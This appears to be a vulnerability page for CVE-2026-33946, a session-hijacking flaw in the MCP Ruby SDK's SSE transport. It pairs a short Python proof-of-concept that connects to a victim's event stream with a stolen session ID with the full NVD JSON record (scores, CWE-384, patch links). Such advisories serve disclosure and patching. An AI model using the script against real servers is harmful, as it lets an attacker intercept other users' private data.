CVE-2026-33946

# PoC Concept: Connecting to SSE stream with a stolen session ID # This script demonstrates how an attacker could hijack the stream if they possess a valid session ID. import requests def hijack_sse_stream(target_url, session_id): """ Simulates an attacker connecting to the SSE endpoint using a stolen session ID. """ headers = { "Accept": "text/event-stream", "Cookie": f"session_id={session_id}" # Or however the SDK expects the ID (e.g., query param) } # Note: The exact parameter (Cookie vs Query Param) depends on implementation details. # Assuming the SDK accepts it via a specific header or parameter based on the vuln description. try: response = requests.get(target_url, headers=headers, stream=True) if response.status_code == 200: print("[+] Successfully hijacked SSE stream. Receiving data:") for line in response.iter_lines(): if line: print(line.decode('utf-8')) else: print(f"[-] Failed to connect. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # hijack_sse_stream("http://target.com/sse/endpoint", "STOLEN_SESSION_ID_HERE")

{"cve": {"id": "CVE-2026-33946", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.580", "lastModified": "2026-04-02T15:23:21.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to version 0.9.2, the Ruby SDK's streamable_http_transport.rb implementation contains a session hijacking vulnerability. An attacker who obtains a valid session ID can completely hijack the victim's Server-Sent Events (SSE) stream and intercept all real-time data. Version 0.9.2 contains a patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}, {"lang": "en", "value": "CWE-639"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mcp_ruby_sdk:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.2", "matchCriteriaId": "BA740303-1659-4AA5-BF51-441A6D3B8B7C"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L93-L97", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L281C1-L288C2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py#L680-L685", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/db40143402d65b4fb6923cec42d2d72cb89b3874", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.9.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3556146", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}